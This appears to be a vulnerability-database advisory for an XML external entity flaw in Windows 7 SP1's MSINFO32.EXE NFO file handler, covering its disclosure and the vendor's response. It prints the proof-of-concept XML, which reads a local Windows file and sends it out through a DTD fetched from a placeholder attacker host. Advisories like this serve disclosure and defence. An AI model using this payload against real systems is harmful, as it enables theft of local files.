Microsoft Windows 7 SP1 NFO File MSINFO32.EXE xml external entity reference

Summaryinfo

A vulnerability classified as critical was found in Microsoft Windows 7 SP1. This vulnerability affects unknown code of the file MSINFO32.EXE of the component NFO File Handler. The manipulation results in xml external entity reference. The attack may be launched remotely. Furthermore, there is an exploit available.

Detailsinfo

A vulnerability, which was classified as critical, was found in Microsoft Windows 7 SP1 (Operating System). Affected is an unknown function of the file MSINFO32.EXE of the component NFO File Handler. The manipulation with an unknown input leads to a xml external entity reference vulnerability. CWE is classifying the issue as CWE-611. The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output. This is going to have an impact on confidentiality, integrity, and availability.

The weakness was shared 12/04/2016 by John Page (hyp3rlinx) as Microsoft MSINFO32.EXE ".NFO" Files XML External Entity as not defined mailinglist post (Bugtraq). The advisory is available at seclists.org. The vendor cooperated in the coordination of the public release. It is possible to launch the attack remotely. The exploitation doesn't require any form of authentication. Technical details and a public exploit are known.

A public exploit has been developed by John Page in XML and been published immediately after the advisory. The exploit is shared for download at seclists.org. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 91 days. During that time the estimated underground price was around $25k-$100k. The code used by the exploit is:

<?xml version="1.0"?>
<!DOCTYPE HYP3RLINX [ 
<!ENTITY % file SYSTEM "C:\Windows\msdfmap.ini">
<!ENTITY % dtd SYSTEM "http://attacker-ip:8080/payload.dtd";>
%dtd;]>
<pwn>&send;</pwn>

The mailinglist post contains the following remark:

Vendor Reply "not meet the bar for security servicing"

If you want to get best quality of vulnerability data, you may have to visit VulDB.

Productinfo

Type

• Operating System

Vendor

• Microsoft

Name

• Windows

Version

• 7 SP1

License

• commercial

Support

• end of life (old version)

Website

• Vendor: https://www.microsoft.com/
• Product: https://www.microsoft.com/en-us/windows

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

If you want to get best quality of vulnerability data, you may have to visit VulDB.

Discussion